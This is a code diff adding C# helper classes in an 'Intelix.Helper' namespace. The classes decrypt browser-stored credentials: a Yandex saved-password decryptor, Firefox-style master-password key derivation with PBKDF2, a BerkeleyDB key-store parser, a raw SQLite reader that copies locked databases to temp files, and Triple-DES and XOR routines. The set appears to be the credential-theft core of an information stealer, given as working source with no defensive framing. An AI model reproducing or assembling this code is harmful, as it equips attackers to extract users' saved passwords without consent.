tripleDESCryptoServiceProvider.IV = iv;
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
using MemoryStream stream = new MemoryStream(input);
using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
using StreamReader streamReader = new StreamReader(stream2);
return streamReader.ReadToEnd();
}
public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input)
{
byte[] array = new byte[512];
using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
tripleDESCryptoServiceProvider.Key = key;
tripleDESCryptoServiceProvider.IV = iv;
tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
using MemoryStream stream = new MemoryStream(input);
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
cryptoStream.Read(array, 0, array.Length);
return array;
}
}
@@ -0,0 +1,16 @@
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class Xor
{
public static string DecryptString(string input, byte key)
{
byte[] bytes = Encoding.UTF8.GetBytes(input);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= key;
}
return Encoding.UTF8.GetString(bytes);
}
}
@@ -0,0 +1,45 @@
using System;
using System.Security.Cryptography;
using System.Text;
namespace Intelix.Helper.Encrypted;
public static class YaAuthenticatedData
{
public static byte[] Decrypt(byte[] encryptionKey, byte[] password_value, string url, string username_element, string password_element, string username_value, string signon_realm)
{
byte[] aad = new byte[0];
using (SHA1 sHA = SHA1.Create())
{
byte[] bytes = Encoding.UTF8.GetBytes(url);
byte[] bytes2 = Encoding.UTF8.GetBytes(username_element);
byte[] bytes3 = Encoding.UTF8.GetBytes(username_value);
byte[] bytes4 = Encoding.UTF8.GetBytes(password_element);
byte[] bytes5 = Encoding.UTF8.GetBytes(signon_realm);
byte[] array = new byte[bytes.Length + 1 + bytes2.Length + 1 + bytes3.Length + 1 + bytes4.Length + 1 + bytes5.Length];
int num = 0;
Array.Copy(bytes, 0, array, num, bytes.Length);
num += bytes.Length;
array[num++] = 0;
Array.Copy(bytes2, 0, array, num, bytes2.Length);
num += bytes2.Length;
array[num++] = 0;
Array.Copy(bytes3, 0, array, num, bytes3.Length);
num += bytes3.Length;
array[num++] = 0;
Array.Copy(bytes4, 0, array, num, bytes4.Length);
num += bytes4.Length;
array[num++] = 0;
Array.Copy(bytes5, 0, array, num, bytes5.Length);
aad = sHA.ComputeHash(array);
}
byte[] array2 = new byte[12];
Array.Copy(password_value, 0, array2, 0, 12);
int num2 = password_value.Length - 12 - 16;
byte[] array3 = new byte[num2];
Array.Copy(password_value, 12, array3, 0, num2);
byte[] array4 = new byte[16];
Array.Copy(password_value, password_value.Length - 16, array4, 0, 16);
return AesGcm256.Decrypt(encryptionKey, array2, aad, array3, array4);
}
}
@@ -0,0 +1,46 @@
using System;
using System.Security.Cryptography;
namespace Intelix.Helper.Hashing;
public class PBE
{
private byte[] Ciphertext { get; }
private byte[] GlobalSalt { get; }
private byte[] MasterPass { get; }
private byte[] EntrySalt { get; }
private byte[] PartIv { get; }
public PBE(byte[] ciphertext, byte[] globalSalt, byte[] masterPassword, byte[] entrySalt, byte[] partIv)
{
Ciphertext = ciphertext;
GlobalSalt = globalSalt;
MasterPass = masterPassword;
EntrySalt = entrySalt;
PartIv = partIv;
}
public byte[] Compute()
{
byte[] array = new byte[GlobalSalt.Length + MasterPass.Length];
Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
Buffer.BlockCopy(MasterPass, 0, array, GlobalSalt.Length, MasterPass.Length);
byte[] password = new SHA1Managed().ComputeHash(array);
byte[] array2 = new byte[2] { 4, 14 };
byte[] array3 = new byte[array2.Length + PartIv.Length];
Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
Buffer.BlockCopy(PartIv, 0, array3, array2.Length, PartIv.Length);
byte[] bytes = new PBKDF2(new HMACSHA256(), password, EntrySalt, 1).GetBytes(32);
return new AesManaged
{
Mode = CipherMode.CBC,
BlockSize = 128,
KeySize = 256,
Padding = PaddingMode.Zeros
}.CreateDecryptor(bytes, array3).TransformFinalBlock(Ciphertext, 0, Ciphertext.Length);
}
}
@@ -0,0 +1,106 @@
using System;
using System.Security.Cryptography;
namespace Intelix.Helper.Hashing;
public class PBKDF2
{
private readonly int _blockSize;
private uint _blockIndex = 1u;
private byte[] _bufferBytes;
private int _bufferStartIndex;
private int _bufferEndIndex;
private HMAC Algorithm { get; }
private byte[] Salt { get; }
private int IterationCount { get; }
public PBKDF2(HMAC algorithm, byte[] password, byte[] salt, int iterations)
{
Algorithm = algorithm ?? throw new ArgumentNullException("algorithm", "Algorithm cannot be null.");
Algorithm.Key = password ?? throw new ArgumentNullException("password", "Password cannot be null.");
Salt = salt ?? throw new ArgumentNullException("salt", "Salt cannot be null.");
IterationCount = iterations;
_blockSize = Algorithm.HashSize / 8;
_bufferBytes = new byte[_blockSize];
}
public byte[] GetBytes(int count)
{
byte[] array = new byte[count];
int i = 0;
int num = _bufferEndIndex - _bufferStartIndex;
if (num > 0)
{
if (count < num)
{
Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, count);
_bufferStartIndex += count;
return array;
}
Buffer.BlockCopy(_bufferBytes, _bufferStartIndex, array, 0, num);
_bufferStartIndex = (_bufferEndIndex = 0);
i += num;
}
for (; i < count; i += _blockSize)
{
int num2 = count - i;
_bufferBytes = Func();
if (num2 > _blockSize)
{
Buffer.BlockCopy(_bufferBytes, 0, array, i, _blockSize);
continue;
}
Buffer.BlockCopy(_bufferBytes, 0, array, i, num2);
_bufferStartIndex = num2;
_bufferEndIndex = _blockSize;
return array;
}
return array;
}
private byte[] Func()
{
byte[] array = new byte[Salt.Length + 4];
Buffer.BlockCopy(Salt, 0, array, 0, Salt.Length);
Buffer.BlockCopy(GetBytesFromInt(_blockIndex), 0, array, Salt.Length, 4);
byte[] array2 = Algorithm.ComputeHash(array);
byte[] array3 = array2;
for (int i = 2; i <= IterationCount; i++)
{
array2 = Algorithm.ComputeHash(array2, 0, array2.Length);
for (int j = 0; j < _blockSize; j++)
{
array3[j] ^= array2[j];
}
}
if (_blockIndex == uint.MaxValue)
{
throw new InvalidOperationException("Derived key too long.");
}
_blockIndex++;
return array3;
}
private static byte[] GetBytesFromInt(uint i)
{
byte[] bytes = BitConverter.GetBytes(i);
if (!BitConverter.IsLittleEndian)
{
return bytes;
}
return new byte[4]
{
bytes[3],
bytes[2],
bytes[1],
bytes[0]
};
}
}
@@ -0,0 +1,72 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
namespace Intelix.Helper.Sql;
public class BerkeleyDB
{
public List<KeyValuePair<string, string>> Keys { get; }
public BerkeleyDB(byte[] file)
{
List<byte> list = new List<byte>();
Keys = new List<KeyValuePair<string, string>>();
using (MemoryStream input = new MemoryStream(file))
{
using BinaryReader binaryReader = new BinaryReader(input);
int i = 0;
for (int num = (int)binaryReader.BaseStream.Length; i < num; i++)
{
list.Add(binaryReader.ReadByte());
}
}
string text = BitConverter.ToString(Extract(list.ToArray(), 0, 4, littleEndian: false)).Replace("-", "");
int num2 = BitConverter.ToInt32(Extract(list.ToArray(), 12, 4, littleEndian: true), 0);
if (!text.Equals("00061561"))
{
return;
}
int num3 = int.Parse(BitConverter.ToString(Extract(list.ToArray(), 56, 4, littleEndian: false)).Replace("-", ""));
int num4 = 1;
while (Keys.Count < num3)
{
string[] array = new string[(num3 - Keys.Count) * 2];
for (int j = 0; j < (num3 - Keys.Count) * 2; j++)
{
array[j] = BitConverter.ToString(Extract(list.ToArray(), num2 * num4 + 2 + j * 2, 2, littleEndian: true)).Replace("-", "");
}
Array.Sort(array);
for (int k = 0; k < array.Length; k += 2)
{
int num5 = Convert.ToInt32(array[k], 16) + num2 * num4;
int num6 = Convert.ToInt32(array[k + 1], 16) + num2 * num4;
int num7 = ((k + 2 >= array.Length) ? (num2 + num2 * num4) : (Convert.ToInt32(array[k + 2], 16) + num2 * num4));
string text2 = Encoding.ASCII.GetString(Extract(list.ToArray(), num6, num7 - num6, littleEndian: false));
string value = BitConverter.ToString(Extract(list.ToArray(), num5, num6 - num5, littleEndian: false));
if (!string.IsNullOrWhiteSpace(text2))
{
Keys.Add(new KeyValuePair<string, string>(text2, value));
}
}
num4++;
}
}
private static byte[] Extract(byte[] source, int start, int length, bool littleEndian)
{
byte[] array = new byte[length];
int num = 0;
for (int i = start; i < start + length; i++)
{
array[num] = source[i];
num++;
}
if (littleEndian)
{
Array.Reverse(array);
}
return array;
}
}
@@ -0,0 +1,457 @@
using System;
using System.IO;
using System.Text;
namespace Intelix.Helper.Sql;
public class SqLite
{
private struct RecordHeaderField
{
public long Size;
public long Type;
}
private struct TableEntry
{
public string[] Content;
}
private struct SqliteMasterEntry
{
public string ItemName;
public long RootNum;
public string SqlStatement;
}
private readonly ulong _dbEncoding;
private readonly byte[] _fileBytes;
private readonly ulong _pageSize;
private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
private string[] _fieldNames;
private SqliteMasterEntry[] _masterTableEntries;
private TableEntry[] _tableEntries;
public SqLite(string fileName)
{
_fileBytes = File.ReadAllBytes(fileName);
_pageSize = ConvertToULong(16, 2);
_dbEncoding = ConvertToULong(56, 4);
ReadMasterTable(100L);
}
public SqLite(byte[] basedata)
{
_fileBytes = basedata;
_pageSize = ConvertToULong(16, 2);
_dbEncoding = ConvertToULong(56, 4);
ReadMasterTable(100L);
}
public string GetValue(int rowNum, int field)
{
try
{
if (rowNum >= _tableEntries.Length)
{
return null;
}
return (field >= _tableEntries[rowNum].Content.Length) ? null : _tableEntries[rowNum].Content[field];
}
catch
{
return "";
}
}
public int GetRowCount()
{
return _tableEntries.Length;
}
private bool ReadTableFromOffset(ulong offset)
{
try
{
switch (_fileBytes[offset])
{
case 13:
{
uint num4 = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
int num5 = 0;
if (_tableEntries != null)
{
num5 = _tableEntries.Length;
Array.Resize(ref _tableEntries, _tableEntries.Length + (int)num4 + 1);
}
else
{
_tableEntries = new TableEntry[num4 + 1];
}
for (uint num6 = 0u; (int)num6 <= (int)num4; num6++)
{
ulong num7 = ConvertToULong((int)offset + 8 + (int)(num6 * 2), 2);
if (offset != 100)
{
num7 += offset;
}
int num8 = Gvl((int)num7);
Cvl((int)num7, num8);
int num9 = Gvl((int)((long)num7 + ((long)num8 - (long)num7) + 1));
Cvl((int)((long)num7 + ((long)num8 - (long)num7) + 1), num9);
ulong num10 = num7 + (ulong)((long)num9 - (long)num7 + 1);
int num11 = Gvl((int)num10);
int num12 = num11;
long num13 = Cvl((int)num10, num11);
RecordHeaderField[] array = null;
long num14 = (long)num10 - (long)num11 + 1;
int num15 = 0;
while (num14 < num13)
{
Array.Resize(ref array, num15 + 1);
int num16 = num12 + 1;
num12 = Gvl(num16);
array[num15].Type = Cvl(num16, num12);
array[num15].Size = ((array[num15].Type <= 9) ? _sqlDataTypeSize[array[num15].Type] : ((!IsOdd(array[num15].Type)) ? ((array[num15].Type - 12) / 2) : ((array[num15].Type - 13) / 2)));
num14 = num14 + (num12 - num16) + 1;
num15++;
}
if (array == null)
{
continue;
}
_tableEntries[num5 + (int)num6].Content = new string[array.Length];
int num17 = 0;
for (int i = 0; i <= array.Length - 1; i++)
{
if (array[i].Type > 9)
{
if (!IsOdd(array[i].Type))
{
long dbEncoding = (long)_dbEncoding;
long num18 = dbEncoding - 1;
if ((ulong)num18 <= 2uL)
{
switch (num18)
{
case 0L:
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
break;
case 1L:
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
break;
case 2L:
_tableEntries[num5 + (int)num6].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
break;
}
}
}
else
{
_tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size);
}
}
else
{
_tableEntries[num5 + (int)num6].Content[i] = Convert.ToString(ConvertToULong((int)((long)num10 + num13 + num17), (int)array[i].Size));
}
num17 += (int)array[i].Size;
}
}
break;
}
case 5:
{
uint num = (uint)(ConvertToULong((int)(offset + 3), 2) - 1);
for (uint num2 = 0u; (int)num2 <= (int)num; num2++)
{
uint num3 = (uint)ConvertToULong((int)offset + 12 + (int)(num2 * 2), 2);
ReadTableFromOffset((ConvertToULong((int)(offset + num3), 4) - 1) * _pageSize);
}
ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize);
break;
}
}
return true;
}
catch
{
return false;
}
}
private void ReadMasterTable(long offset)
{
while (true)
{
switch (_fileBytes[offset])
{
default:
return;
case 5:
{
uint num13 = (uint)(ConvertToULong((int)offset + 3, 2) - 1);
for (int j = 0; j <= (int)num13; j++)
{
uint num14 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2);
if (offset == 100)
{
ReadMasterTable((long)((ConvertToULong((int)num14, 4) - 1) * _pageSize));
}
else
{
ReadMasterTable((long)((ConvertToULong((int)(offset + num14), 4) - 1) * _pageSize));
}
}
break;
}
case 13:
{
ulong num = ConvertToULong((int)offset + 3, 2) - 1;
int num2 = 0;
if (_masterTableEntries != null)
{
num2 = _masterTableEntries.Length;
Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1);
}
else
{
checked
{
_masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))];
}
}
for (ulong num3 = 0uL; num3 <= num; num3++)
{
ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2);
if (offset != 100)
{
num4 += (ulong)offset;
}
int num5 = Gvl((int)num4);
Cvl((int)num4, num5);
int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1));
Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6);
ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1);
int num8 = Gvl((int)num7);
int num9 = num8;
long num10 = Cvl((int)num7, num8);
long[] array = new long[5];
for (int i = 0; i <= 4; i++)
{
int startIdx = num9 + 1;
num9 = Gvl(startIdx);
array[i] = Cvl(startIdx, num9);
array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2)));
}
long dbEncoding;
if (_dbEncoding == 1 || _dbEncoding == 2)
{
dbEncoding = (long)_dbEncoding;
long num11 = dbEncoding - 1;
if ((ulong)num11 <= 2uL)
{
switch (num11)
{
case 0L:
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
break;
case 1L:
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
break;
case 2L:
_masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]);
break;
}
}
}
_masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]);
dbEncoding = (long)_dbEncoding;
long num12 = dbEncoding - 1;
if ((ulong)num12 <= 2uL)
{
switch (num12)
{
case 0L:
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
break;
case 1L:
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
break;
case 2L:
_masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]);
break;
}
}
}
return;
}
}
offset = (long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize);
}
}
public bool ReadTable(string tableName)
{
int num = -1;
for (int i = 0; i <= _masterTableEntries.Length; i++)
{
if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
{
num = i;
break;
}
}
if (num == -1)
{
return false;
}
string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
for (int j = 0; j <= array.Length - 1; j++)
{
array[j] = array[j].TrimStart();
int num2 = array[j].IndexOf(' ');
if (num2 > 0)
{
array[j] = array[j].Substring(0, num2);
}
if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
{
Array.Resize(ref _fieldNames, j + 1);
_fieldNames[j] = array[j];
}
}
return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize);
}
private ulong ConvertToULong(int startIndex, int size)
{
try
{
if (size > 8 || size == 0)
{
return 0uL;
}
ulong num = 0uL;
for (int i = 0; i <= size - 1; i++)
{
num = (num << 8) | _fileBytes[startIndex + i];
}
return num;
}
catch
{
return 0uL;
}
}
private int Gvl(int startIdx)
{
try
{
if (startIdx > _fileBytes.Length)
{
return 0;
}
for (int i = startIdx; i <= startIdx + 8; i++)
{
if (i > _fileBytes.Length - 1)
{
return 0;
}
if ((_fileBytes[i] & 0x80) != 128)
{
return i;
}
}
return startIdx + 8;
}
catch
{
return 0;
}
}
private long Cvl(int startIdx, int endIdx)
{
try
{
endIdx++;
byte[] array = new byte[8];
int num = endIdx - startIdx;
bool flag = false;
if (num == 0 || num > 9)
{
return 0L;
}
switch (num)
{
case 1:
array[0] = (byte)(_fileBytes[startIdx] & 0x7F);
return BitConverter.ToInt64(array, 0);
case 9:
flag = true;
break;
}
int num2 = 1;
int num3 = 7;
int num4 = 0;
if (flag)
{
array[0] = _fileBytes[endIdx - 1];
endIdx--;
num4 = 1;
}
for (int i = endIdx - 1; i >= startIdx; i += -1)
{
if (i - 1 >= startIdx)
{
array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3));
num2++;
num4++;
num3--;
}
else if (!flag)
{
array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2));
}
}
return BitConverter.ToInt64(array, 0);
}
catch
{
return 0L;
}
}
private static bool IsOdd(long value)
{
return (value & 1) == 1;
}
public static SqLite ReadTable(string database, string table)
{
try
{
string text = Path.GetTempFileName() + ".tmpdb";
File.Copy(database, text);
SqLite sqLite = new SqLite(text);
sqLite.ReadTable(table);
File.Delete(text);
return (sqLite.GetRowCount() == 65536) ? null : sqLite;
}
catch
{
return null;
}
}
}
@@ -0,0 +1,14 @@
namespace Intelix.Helper;
public class BlobParsedData
{
public byte Flag { get; set; }
public byte[] Iv { get; set; }
public byte[] Ciphertext { get; set; }
public byte[] Tag { get; set; }
public byte[] EncryptedAesKey { get; set; }
}
@@ -0,0 +1,59 @@
using System.Threading;
namespace Intelix.Helper;
public struct ConcurrentLong
{
private long _value;
public long Value
{
get
{
return Interlocked.Read(ref _value);
}
set
{
Interlocked.Exchange(ref _value, value);
}
}
public ConcurrentLong(long initial)
{
_value = initial;
}
public static ConcurrentLong operator ++(ConcurrentLong x)
{
Interlocked.Increment(ref x._value);
return x;
}
public static ConcurrentLong operator --(ConcurrentLong x)
{
Interlocked.Decrement(ref x._value);
return x;
}
public static implicit operator long(ConcurrentLong x)
{
return x.Value;
}
public static implicit operator ConcurrentLong(long v)
{
return new ConcurrentLong(v);
}
public static ConcurrentLong operator +(ConcurrentLong x, long y)
{
Interlocked.Add(ref x._value, y);
return x;
}
public static ConcurrentLong operator -(ConcurrentLong x, long y)
{
Interlocked.Add(ref x._value, -y);
return x;
}
}
@@ -0,0 +1,32 @@
using System;
using Microsoft.Win32;
namespace Intelix.Helper;
public static class CpuInfo
{
public static string GetName()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown";
}
catch
{
return "Unknown";
}
}
public static int GetLogicalCores()
{
try
{
return Environment.ProcessorCount;
}
catch
{
return 0;
}
}
}

Some files were not shown because too many files have changed in this diff Show More